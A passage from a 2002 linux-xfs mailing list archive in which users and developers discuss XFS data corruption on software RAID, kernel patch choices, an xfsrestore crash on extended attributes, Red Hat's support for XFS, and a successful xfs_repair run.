<1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 16:18:00 -0500 Message-Id: <1030396680.32227.1.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 26 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs No, they are SCSI disks in a software mirror. I'm using the software raid setup in the 2.4.19 kernel as it was as recent as possible. Chris Tooley On Mon, 2002-08-26 at 14:07, Skylar Thompson wrote: > On Mon, Aug 26, 2002 at 10:52:43AM -0500, Chris Tooley wrote: > > > > We're running a point of sale system on Linux and have put the data on > > an XFS partition. Unfortunately there has been consistent corruption of > > the data during writes to the database. Since the database is an ISAM > > database, it's all stored in files that are opened and closed a lot. > > The vendor of the point of sale is blaming XFS for the corruption. The > > application is an old COBOL app that is using the binary compatability > > modules to run. Are there any known problems with corruption when using > > these binary compatability libraries with 1.1? > > Are you using IDE drives? I know there are problems with some IDE drives > caching data incorrectly, which causes corruption in the event of a power > failure. > > -- > -- Skylar Thompson (skylar@attglobal.net) > > -- Attached file included as plaintext by Ecartis -- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9anxUYyzijMrwBxERAmEZAJ9DWcmS9BwJ+3Eev0bAxwsYbs+nGwCgi2h0 > frlaiUyM1pkT+yvnu/GqRqA= > =R66B > -----END PGP SIGNATURE----- > > > From owner-linux-xfs@oss.sgi.com Mon Aug 26 14:30:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 14:30:12 -0700 (PDT) Received: from thompsk.student.earlham.edu (thompsk.student.earlham.edu [159.28.164.194]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QLU09D008222 for ; Mon, 26 Aug 2002 14:30:00 -0700 Received: by thompsk.student.earlham.edu (Postfix, from userid 502) id B89C935CD250; Mon, 26 Aug 2002 16:33:24 -0500 (CDT) Date: Mon, 26 Aug 2002 16:33:24 -0500 From: Skylar Thompson To: linux-xfs@oss.sgi.com Subject: Re: Locking problems Message-ID: <20020826213324.GA6645@thompsk.student.earlham.edu> Reply-To: Skylar Thompson Mail-Followup-To: linux-xfs@oss.sgi.com References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline In-Reply-To: <1030396680.32227.1.camel@itspec.amoa.org> User-Agent: Mutt/1.4i X-Sender: "Skylar Thompson" X-Accept-Primary-Language: en X-Accept-Secondary-Language: es X-Accept-Tertiary-Language: Quenya SMTP-Mailing-Host: thompsk.student.earlham.edu X-System: Dual 450MHz Xeons with 256MB PC100 ECC-SDRAM X-Machine: IBM Intellistation Z Pro 6865-22U X-Operating-System: Red Hat Linux 7.2 with kernel 2.4.18-grsec Organization: League of Morgoth X-Editor: VIM - Vi IMproved 6.1 (2002 Mar 24, compiled Mar 26 2002 21:28:16) Content-Transfer-Encoding: 8bit X-archive-position: 27 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: skylar@attglobal.net Precedence: bulk X-list: linux-xfs On Mon, Aug 26, 2002 at 04:18:00PM -0500, Chris Tooley wrote: > > No, they are SCSI disks in a software mirror. I'm using the software > raid setup in the 2.4.19 kernel as it was as recent as possible. That's weird. I'm on 2.4.18 with software RAID 0+1 on a four disc SCSI array, and I've had no problems with XFS. The only problem I've had so far is with one disc mysteriously falling off the array for a couple seconds, but that's almost certainly hardware. -- -- Skylar Thompson (skylar@attglobal.net) -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9ap6kYyzijMrwBxERAtQMAJ461lXiQH+/LpOksNHtoSOAlt04OACfW81+ xA7x48C/6ZCRs9bvCoYaor8= =ge57 -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Mon Aug 26 14:45:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 14:45:39 -0700 (PDT) Received: from andrei.myip.org (12-234-116-173.client.attbi.com [12.234.116.173]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QLja9D009030 for ; Mon, 26 Aug 2002 14:45:36 -0700 Received: from stantz.corp.sgi.com (unknown [130.62.4.42]) by andrei.myip.org (Postfix) with ESMTP id E66A32FA86 for ; Mon, 26 Aug 2002 14:49:00 -0700 (PDT) Received: from localhost.localdomain (localhost [127.0.0.1]) by stantz.corp.sgi.com (Postfix) with ESMTP id 87CA63438 for ; Mon, 26 Aug 2002 14:48:50 -0700 (PDT) Subject: Re: Redhat Advanced Server and XFS? From: Florin Andrei To: "Linux XFS (SGI)" In-Reply-To: <3D648757.5791634E@ch.sauter-bc.com> References: <1029956246.6672.47.camel@locutus> <3D648757.5791634E@ch.sauter-bc.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 14:48:50 -0700 Message-Id: <1030398530.23678.71.camel@stantz.corp.sgi.com> Mime-Version: 1.0 X-archive-position: 28 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: florin@sgi.com Precedence: bulk X-list: linux-xfs On Wed, 2002-08-21 at 23:40, Simon Matter wrote: > > Seems RedHat just doesn't want us to use XFS. That's why it is so > important that XFS goes into the official kernel. Then they can't refuse > it anymore :) Oh yes, they can. See ReiserFS. ;-) -- Florin Andrei "If you think technology can solve your security problems, then you don't understand the problems and you don't understand the technology." - Bruce Schneier From owner-linux-xfs@oss.sgi.com Mon Aug 26 14:47:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 14:47:31 -0700 (PDT) Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QLlS9D009040 for ; Mon, 26 Aug 2002 14:47:29 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17jRl7-0002x2-00; Mon, 26 Aug 2002 22:50:53 +0100 Date: Mon, 26 Aug 2002 22:50:53 +0100 From: Christoph Hellwig To: Chris Tooley Cc: linux-xfs@oss.sgi.com Subject: Re: Locking problems Message-ID: <20020826225052.A11333@infradead.org> References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1030396680.32227.1.camel@itspec.amoa.org>; from ctooley@amoa.org on Mon, Aug 26, 2002 at 04:18:00PM -0500 Content-Transfer-Encoding: 8bit X-archive-position: 29 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Mon, Aug 26, 2002 at 04:18:00PM -0500, Chris Tooley wrote: > > No, they are SCSI disks in a software mirror. I'm using the software > raid setup in the 2.4.19 kernel as it was as recent as possible. What _exact_ comibation of kernel patches do you use use? Plain 2.4.19 + the 2.4.18 XFS patches merged up yourself? From owner-linux-xfs@oss.sgi.com Mon Aug 26 15:03:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 15:03:51 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7QM3m9D009515 for ; Mon, 26 Aug 2002 15:03:48 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7QM6rM32328; Mon, 26 Aug 2002 17:06:53 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: Christoph Hellwig Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020826225052.A11333@infradead.org> References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> <20020826225052.A11333@infradead.org> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 17:06:53 -0500 Message-Id: <1030399613.32227.5.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 30 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs On Mon, 2002-08-26 at 16:50, Christoph Hellwig wrote: > On Mon, Aug 26, 2002 at 04:18:00PM -0500, Chris Tooley wrote: > > > > No, they are SCSI disks in a software mirror. I'm using the software > > raid setup in the 2.4.19 kernel as it was as recent as possible. > > What _exact_ comibation of kernel patches do you use use? Plain 2.4.19 + > the 2.4.18 XFS patches merged up yourself? > No, I'm using the xfs-2.4.19-all-i386 patch from the oss.sgi.com site. Plus the linux-abi patches from sourceforge. From owner-linux-xfs@oss.sgi.com Mon Aug 26 17:23:05 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 17:23:10 -0700 (PDT) Received: from darwin.libc.org (ucntcme224.dsl.micron.net [206.207.111.224] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R0N4tG010941 for ; Mon, 26 Aug 2002 17:23:05 -0700 Received: (qmail 21441 invoked from network); 26 Aug 2002 17:13:01 -0000 Received: from ucntcme231.dsl.micron.net (HELO locutus.libc.org) (?qOdKXYM3e/+G3+YWj9uU+p0CmPaNYUcS?@206.207.111.231) by ucntcme224.dsl.micron.net with SMTP; 26 Aug 2002 17:13:01 -0000 Subject: Re: Redhat Advanced Server and XFS? From: Bill Anderson To: "Linux XFS (SGI)" In-Reply-To: <1030398530.23678.71.camel@stantz.corp.sgi.com> References: <1029956246.6672.47.camel@locutus> <3D648757.5791634E@ch.sauter-bc.com> <1030398530.23678.71.camel@stantz.corp.sgi.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 26 Aug 2002 18:26:31 -0600 Message-Id: <1030407992.10022.357.camel@locutus> Mime-Version: 1.0 X-archive-position: 31 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bill@immosys.com Precedence: bulk X-list: linux-xfs On Mon, 2002-08-26 at 15:48, Florin Andrei wrote: > > On Wed, 2002-08-21 at 23:40, Simon Matter wrote: > > > > Seems RedHat just doesn't want us to use XFS. That's why it is so > > important that XFS goes into the official kernel. Then they can't refuse > > it anymore :) > > Oh yes, they can. See ReiserFS. ;-) > Good point. :^/ OK, to sum up, basically what I am looking for is the -AA series, which has the advantages found in RHAS2.1's kernel, and seems to work quite well with XFS, correct? I did try the single patches for the 2.4.9 kernel, per one recommendation, and it fails to build. I'll have to repeat it to get the exact steps and failures. I did have to manually apply some of the patches from reject files. I should be able to get to it next week again. -- Bill Anderson Immosys Rebuilding the network of Tomorrow From owner-linux-xfs@oss.sgi.com Mon Aug 26 22:31:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 22:31:59 -0700 (PDT) Received: from newmail.emergence.com (newmail.emergence.com [209.5.172.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R5VstG013811 for ; Mon, 26 Aug 2002 22:31:54 -0700 Received: from h24-86-77-34.ed.shawcable.net ([24.86.77.34] helo=emergence.com) by newmail.emergence.com with esmtp (TLSv1:RC4-MD5:128) (Exim 3.34 #1) id 17jZ0j-0007ai-00 for linux-xfs@oss.sgi.com; Mon, 26 Aug 2002 23:35:29 -0600 Message-ID: <3D6B0F8D.6070806@emergence.com> Date: Mon, 26 Aug 2002 23:35:09 -0600 From: Michael Best User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020821 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: Locking problems References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> <20020826225052.A11333@infradead.org> <1030399613.32227.5.camel@itspec.amoa.org> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 32 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mbest@emergence.com Precedence: bulk X-list: linux-xfs Chris Tooley wrote: > On Mon, 2002-08-26 at 16:50, Christoph Hellwig wrote: > >>On Mon, Aug 26, 2002 at 04:18:00PM -0500, Chris Tooley wrote: >> >>>No, they are SCSI disks in a software mirror. I'm using the software >>>raid setup in the 2.4.19 kernel as it was as recent as possible. >> >>What _exact_ comibation of kernel patches do you use use? Plain 2.4.19 + >>the 2.4.18 XFS patches merged up yourself? >> > > No, I'm using the xfs-2.4.19-all-i386 patch from the oss.sgi.com site. > Plus the linux-abi patches from sourceforge. That would be: ftp://oss.sgi.com/projects/xfs/download/patches/2.4.19/xfs-2.4.19-all-i386.bz2 You could also try: I have been using: linux-2.4.19-xfs-2002-08-18.patch.bz2 (no longer available) and I'm going to try compiling this soon: ftp://oss.sgi.com/projects/xfs/download/patches/weekly-snapshot-patch/linux-2.4.19-xfs-2002-08-25.patch.bz2 (forgot to cc earlier) -- Michael Best Systems Administrator ph 780-413-6397 x230 Emergence By Design fax 780-433-7548 #200, 11209 Jasper Avenue toll 866-860-2666 Edmonton, Alberta, T5K 0L5 From owner-linux-xfs@oss.sgi.com Mon Aug 26 22:36:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 22:36:27 -0700 (PDT) Received: from lips.thebarn.com (lips.borg.umn.edu [160.94.232.50]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R5aOtG014314 for ; Mon, 26 Aug 2002 22:36:24 -0700 Received: from lupo (c-24-245-56-70.mn.client2.attbi.com [24.245.56.70]) (authenticated bits=0) by lips.thebarn.com (8.12.5/8.12.4) with ESMTP id g7R5dopc077079 for ; Tue, 27 Aug 2002 00:39:50 -0500 (CDT) (envelope-from cattelan@thebarn.com) X-Authentication-Warning: lips.thebarn.com: Host c-24-245-56-70.mn.client2.attbi.com [24.245.56.70] claimed to be lupo Subject: Re: A WinXP patch From: Russell Cattelan To: linux-xfs@oss.sgi.com In-Reply-To: <20020825215621.A27447@plato.local.lan> References: <0H1F001R8RPBXF@mtaout04.icomcast.net> <20020825215621.A27447@plato.local.lan> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 00:39:50 -0500 Message-Id: <1030426790.2310.53.camel@lupo.thebarn.com> Mime-Version: 1.0 X-archive-position: 33 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs On Mon, 2002-08-26 at 00:56, Ethan Benson wrote: > On Mon, Aug 26, 2002 at 01:39:11AM -0400, webmaster wrote: > > > blah can't the new listserver run mail through spamassassin like the > old setup did? We are still tweaking the new setup. :-O Spam identified by SA should now again be diverted to a file, and not sent out to the list. > > -- > Ethan Benson > http://www.alaska.net/~erbenson/ > > -- Attached file included as plaintext by Ecartis -- > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iEYEARECAAYFAj1pwwUACgkQJKx7GixEevziSwCdEpZKt3qGk6z6hna1v2fJZnPB > WOYAoJdP1/Pn9iErDtNFN0pJyQtS0VDs > =7/JN > -----END PGP SIGNATURE----- > > From owner-linux-xfs@oss.sgi.com Mon Aug 26 23:01:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 23:02:00 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R61stG015165 for ; Mon, 26 Aug 2002 23:01:54 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id XAA05394 for ; Mon, 26 Aug 2002 23:05:12 -0700 (PDT) mail_from (tes@boing.melbourne.sgi.com) Received: (from tes@localhost) by boing.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA82116; Tue, 27 Aug 2002 16:03:51 +1000 (AEST) Date: Tue, 27 Aug 2002 16:03:50 +1000 From: Tim Shimmin To: Joe Bacom Cc: linux-xfs@oss.sgi.com Subject: Re: xfsrestore problem Message-ID: <20020827160350.L246196@boing.melbourne.sgi.com> References: <200208231604.MAA27246@webcube2.volstate.net> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0us In-Reply-To: <200208231604.MAA27246@webcube2.volstate.net>; from joebacom@volstate.net on Fri, Aug 23, 2002 at 11:01:25AM -0500 Content-Transfer-Encoding: 8bit X-archive-position: 34 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: linux-xfs Hi Joe, On Fri, Aug 23, 2002 at 11:01:25AM -0500, Joe Bacom wrote: > Hi Folks; > > I am getting a core dump from xfsrestore when restoring from a dump file. > Here is the command used to create the dump file: > > xfsdump -J -f ./datastore/site.dump -s datastore/site /dev/hda7 > > and to restore the file on a different machine (I use extended attributes > with this filesystem) > > xfsrestore -f site.dump -J /opt/datastore > > The log from xfsrestore is: > > xfsrestore: using file dump (drive_simple) strategy > xfsrestore: version 3.0 - Running single-threaded > xfsrestore: searching media for dump > xfsrestore: examining media file 0 > xfsrestore: dump description: > xfsrestore: hostname: pluto.solar.com > xfsrestore: mount point: /opt > xfsrestore: volume: /dev/hda7 > xfsrestore: session time: Fri Aug 23 10:27:41 2002 > xfsrestore: level: 0 > xfsrestore: session label: "SiteDump" > xfsrestore: media label: "Site Dump" > xfsrestore: file system id: 00000000-0000-0000-0000-000000000000 > xfsrestore: session id: e03654da-1bac-4436-b6a5-3acd1d473932 > xfsrestore: media id: 85f58232-ca3a-4ca6-bedf-c4d690752764 > xfsrestore: searching media for directory dump > xfsrestore: reading directories > xfsrestore: 134 directories and 59798 entries processed > xfsrestore: directory post-processing > xfsrestore: restoring non-directory files > xfsrestore: content.c:8532: restore_extattr: Assertion `recsz >= 16' failed. > Abort (core dumped) > > I have the following versions of xfsdump and xfsprogs > xfsdump-2.0.0-0 > xfsprogs-2.0.1-0 > xfsprogs-devel-2.0.1-0 > > The core file is 47M so I did not attach it. > > Any Ideas? > No. (The attribute header size field is too small :) Wild guesses: Looking at cmd/xfsdump/doc/CHANGES, in xfsdump-2.0.0, it has: - rework all code dealing with extended attributes to use the new system calls (requires attr-2.0.0 or greater) This _may_ have had some effect. I presume you got no warnings from xfsdump ? We test the EA/xfsrestore code with cmd/xfstests/063. (If you have the energy/motivation, you could try running 063 after reading cmd/xfstests/README and see if it passes for you) Please redo the xfsrestore with "-v5" and send the last part of the restore output up to where it crashes on the assertion failure. --Tim From owner-linux-xfs@oss.sgi.com Mon Aug 26 23:17:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 23:17:40 -0700 (PDT) Received: from mx0.gmx.net (mx0.gmx.de [213.165.64.100]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R6HatG015713 for ; Mon, 26 Aug 2002 23:17:37 -0700 Received: (qmail 24293 invoked by uid 0); 27 Aug 2002 06:20:57 -0000 Date: Tue, 27 Aug 2002 08:20:57 +0200 (MEST) From: johncoltrane39@gmx.de To: Seth Mos Cc: linux-xfs@oss.sgi.com MIME-Version: 1.0 References: <4.3.2.7.2.20020826111628.03b2e510@pop.xs4all.nl> Subject: Re: hanging when mounting, success X-Priority: 3 (Normal) X-Authenticated-Sender: #0012433339@gmx.net X-Authenticated-IP: [193.158.59.4] Message-ID: <25764.1030429257@www4.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 35 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: johncoltrane39@gmx.de Precedence: bulk X-list: linux-xfs Hello Seth, hello list, once more for the records. I have updated my gcc from 2.95-2 to 2.95-3 and recompiled the whole 2.4.19 vanilla kernel I patched before using the 2.4.19/xfs-2.4.19-all-i386.bz2 patch (no other kernelpatches). After booting with this kernel and mounting/unmounting my corrupted XFS partitions I simply did a "xfs_repair /device" (device here is a placeholder ;-) which produced some messages I attach to this mail. The xfs_repair (which I have updated to the recent xfsprogs-2.0.3-0.i386.rpm) went through without interaction, hangs or whatever. After manually mounting the partitions I could see that a lost+found was created, but it was empty, in both cases. Now I can (auto)mount my partitions as before, no data seems to be lost, it works like a charm. Hopefully such a corruption will not repeat. A point from my wishlist, please integrate XFS into the main kernel releases (as is done with JFS in the moment) Thank you for helping me, and keep up the good work. cheers, Gerd PS: the output of xfs_repair, both partitions Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk root inode marked free, correcting Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 imap claims a free inode 134 is in use, correcting imap and clearing inode - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - clear lost+found (if it exists) ... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... - traversal finished ... - traversing all unattached subtrees ... - traversals finished ... - moving disconnected inodes to lost+found ... Phase 7 - verify and correct link counts... done Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... ir_freecount/free mismatch, inode chunk 0/128, freecount 44 nfree 43 - found root inode chunk root inode marked free, correcting Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 imap claims a free inode 143 is in use, correcting imap and clearing inode imap claims a free inode 147 is in use, correcting imap and clearing inode - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - clear lost+found (if it exists) ... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... - traversal finished ... - traversing all unattached subtrees ... - traversals finished ... - moving disconnected inodes to lost+found ... Phase 7 - verify and correct link counts... done > At 09:43 26-8-2002 +0200, johncoltrane39@gmx.de wrote: > >I also decided to update to the recent xfsprogs 2.0.3 from the ftp server > >this evening and to give xfs_repair a try. I cannot imagine what has > happened > >to the xfs partitions, in my view it seems related to the update to the > >2.4.19, but going back to the painless 2.4.16 didn't help. In the moment > I > >read in > >the FAQ that gcc 2.95-2 should not be used, may be I should update to > 2.95-3, > >what's recommended in the FAQ > > Drop 2.95.2 and get 2.95.3 or later. 2.95.2 is known to miscompile some > code (in the past). Since 2.95.3 is publicly available and a bugfix > release > that one should be used instead. > > >Any further suggestions ? > > Capture the output from an xfs_repair if you can. > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. > -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From owner-linux-xfs@oss.sgi.com Mon Aug 26 23:26:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 23:26:49 -0700 (PDT) Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R6QYtG016218 for ; Mon, 26 Aug 2002 23:26:35 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq02)) with ESMTP id 7346BC2B2; Tue, 27 Aug 2002 08:08:08 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id IAA15254; Tue, 27 Aug 2002 08:08:07 +0200 (MET DST) >Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by zuerich.sauter-bc.com (Postfix) with ESMTP id D93DD138010; Tue, 27 Aug 2002 08:07:42 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id 5D2AD19059; Tue, 27 Aug 2002 08:07:18 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 7BDFA30881D; Tue, 27 Aug 2002 08:07:41 +0200 (CEST) Message-ID: <3D6B172D.102EBACB@ch.sauter-bc.com> Date: Tue, 27 Aug 2002 08:07:41 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Florin Andrei Cc: "Linux XFS (SGI)" Subject: Re: Redhat Advanced Server and XFS? References: <1029956246.6672.47.camel@locutus> <3D648757.5791634E@ch.sauter-bc.com> <1030398530.23678.71.camel@stantz.corp.sgi.com> Content-Transfer-Encoding: 8bit Content-type: text/plain; charset=us-ascii X-archive-position: 36 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Florin Andrei schrieb: > > On Wed, 2002-08-21 at 23:40, Simon Matter wrote: > > > > Seems RedHat just doesn't want us to use XFS. That's why it is so > > important that XFS goes into the official kernel. Then they can't refuse > > it anymore :) > > Oh yes, they can. See ReiserFS. ;-) ReiserFS is not officially available at install time and they compiled it with CHECK_REISERFS=yes in the past. On the other hand it is included and can be used. The same happened with JFS. So, if XFS is in the standard kernel, they won't refuse compiling it in. Simon > > -- > Florin Andrei > > "If you think technology can solve your security problems, > then you don't understand the problems > and you don't understand the technology." - Bruce Schneier From owner-linux-xfs@oss.sgi.com Mon Aug 26 23:36:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 26 Aug 2002 23:36:13 -0700 (PDT) Received: from smtpzilla2.xs4all.nl (smtpzilla2.xs4all.nl [194.109.127.138]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R6a6tG016741 for ; Mon, 26 Aug 2002 23:36:07 -0700 Received: from auto-nb1.xs4all.nl (host-4.coltex.demon.nl [212.238.252.68]) by smtpzilla2.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7R6dIhB004110; Tue, 27 Aug 2002 08:39:23 +0200 (CEST) Message-Id: <4.3.2.7.2.20020827083720.033f1910@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 27 Aug 2002 08:38:07 +0200 To: Chris Tooley , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: Locking problems In-Reply-To: <1030396680.32227.1.camel@itspec.amoa.org> References: <20020826190700.GB1894@thompsk.student.earlham.edu> <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 37 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 16:18 26-8-2002 -0500, Chris Tooley wrote: >No, they are 